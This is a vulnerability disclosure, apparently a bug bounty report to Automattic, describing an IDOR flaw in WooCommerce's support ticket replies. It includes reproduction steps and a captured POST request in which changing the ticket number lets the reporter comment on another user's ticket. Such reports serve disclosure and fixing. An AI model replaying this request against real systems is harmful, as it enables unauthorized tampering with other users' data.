Automattic · Report #91599
WooCommerce: Support Ticket indirect object reference
How it was found
Hi there's no protection against Idor, so i can comment on anyone's Ticket.
Reproduce Issue:_
1.Go Here: https://www.woothemes.com/my-account/tickets/
2.Create a new Ticket
suppose ticked id is : 340529
Comment something on 340529 Ticket, and capture that request In Burp suite.
here's the request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: www.woothemes.com User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Referer: https://www.woothemes.com/my-account/tickets/?id=340529 Content-Length: 95 Cookie: cookies..... Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
action=wc_zendesk_reply_ticket&security=e942b8f2d4&reply=HACKED!!!!!&number=___340529___&solved=false
THATS MY TICKET, Now change number to victim's ticket id, and your comment will successfully added to victim's ticket.
Video Poc (unlisted): https://www.youtube.com/watch?v=bUEenDUoVfk&feature=youtu.be
thanks paresh